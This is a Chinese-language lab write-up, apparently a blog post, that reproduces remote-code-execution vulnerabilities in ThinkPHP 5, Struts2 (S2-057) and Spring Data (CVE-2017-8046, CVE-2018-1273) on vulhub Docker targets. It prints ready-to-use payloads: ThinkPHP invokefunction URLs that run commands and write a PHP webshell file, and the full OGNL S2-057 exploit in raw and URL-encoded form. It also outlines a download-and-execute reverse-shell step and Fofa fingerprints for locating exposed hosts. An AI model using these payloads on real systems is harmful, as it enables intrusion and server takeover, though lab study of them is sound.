Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。
1 Thinkphp(TP)
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。 TP(2-6)(5-目前使用率较高的)
》》》漏洞描述《《《
Thinkphp5x远程命令执行及getshel
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
》》》环境搭建《《《
靶场:
vulhub/thinkphp/5-rce
docker-compose up -d #启动环境
》》》漏洞复现《《《
访问靶场
远程命令执行 POC:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
getshell
根目录生成1.php 文件,输出phpinfo
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
2 struts2
S2-057远程执行代码漏洞
Apache Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用程序。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
Struts 2 是一个基于MVC设计模式的web应用框架:MVC:模型(Model)、视图(View)、控制器(Controller):
- 模型 ---属于软件设计模式的底层基础,主要负责数据维护
- 视图 --- 这部分是负责向用户呈现全部或部分数据
- 控制器 ---通过软件代码控制模型和视图之间的交互
OGNL表达式
- OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。
- 它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
- OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$z这三个符号的使用:
- #:获得contest中的数据;
- %:强制字符串解析成OGNL表达式;
- $:在配置文件中可以使用OGNL表达式。
》》》漏洞描述《《《
漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为ur1标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
S2-057 先决条件:
alwaysSelectFullNamespace 正确-操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞。
》》》环境搭建《《《
kali vulhub靶场 /struts2/s2-057
app='Struts2"
》》》漏洞复现《《《
访问靶机地址
在url处输入
http://192.168.56.134:8080/struts2-showcase/${(123+123)}/actionChain1.action
后刷新可以看到中间数字位置相加了
将上面验证payload的值修改为我们的利用exp
原始exp
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
url编译
/struts2-showcase/%24%7b%20%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%63%74%3d%23%72%65%71%75%65%73%74%5b%27%73%74%72%75%74%73%2e%76%61%6c%75%65%53%74%61%63%6b%27%5d%2e%63%6f%6e%74%65%78%74%29%2e%28%23%63%72%3d%23%63%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%75%3d%23%63%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%75%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%2e%28%23%61%3d%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%7d/actionChain1.action
3 Spring Data Rest 远程命令执行命令 CVE-2017-8046
Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架,
2009年9月Spring 3.0RC1发布后,Spring就引入了SpEL(Spring Expression_anguage)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个SpringCVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。
SpEL是什么?
SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。
SpEL原理如下:
1.表达式:可以认为就是传入的字符串内容;
2.解析器:将字符串解析为表达式内容;
3. 上下文:表达式对象执行的环境;
4.根对象和活动上下文对象:根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。
》》》漏洞描述《《《
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码.
》》》影响范围《《《
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
》》》环境搭建《《《
kali vulhub靶场 /spring/CVE-2017-8046
fofa: icon hash="116323821"/app="vmware-SpringBoot-framework'
》》》漏洞复现《《《
(1)访问 http://靶场ip:8080/customers/1 进行抓包
(2)转包之后将GET修改为PATCH
(3)添加字段 Content-Type: application/json-patch+json
(4)将制作好的payload添加到最后一行.
可以看到成功创建了success.说明漏洞可以利用.
4 spring 代码执行(CVE-2018-1273)
》》》漏洞描述《《《
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命科
》》》影响范围《《《
Spring Data Commons 1.13-1.13.10(Ingalls SR10)
Spring Data REST 2.6-2.6.10(Ingalls SR10)
Spring Data Commons 2.0-2.0.5(Kay SR5)
Spring Data REST 3.0-3.0.5(Kay SR5)
》》》漏洞复现《《《
访问靶场地址
填写注册信息,bp抓包:
放到重放器 加上 poc :
进⼊终端查看,可以看到成功写⼊:
反弹shell
写⼀个 反弹shell 脚本,并开启http服务:
靶机下载执⾏ sh 脚本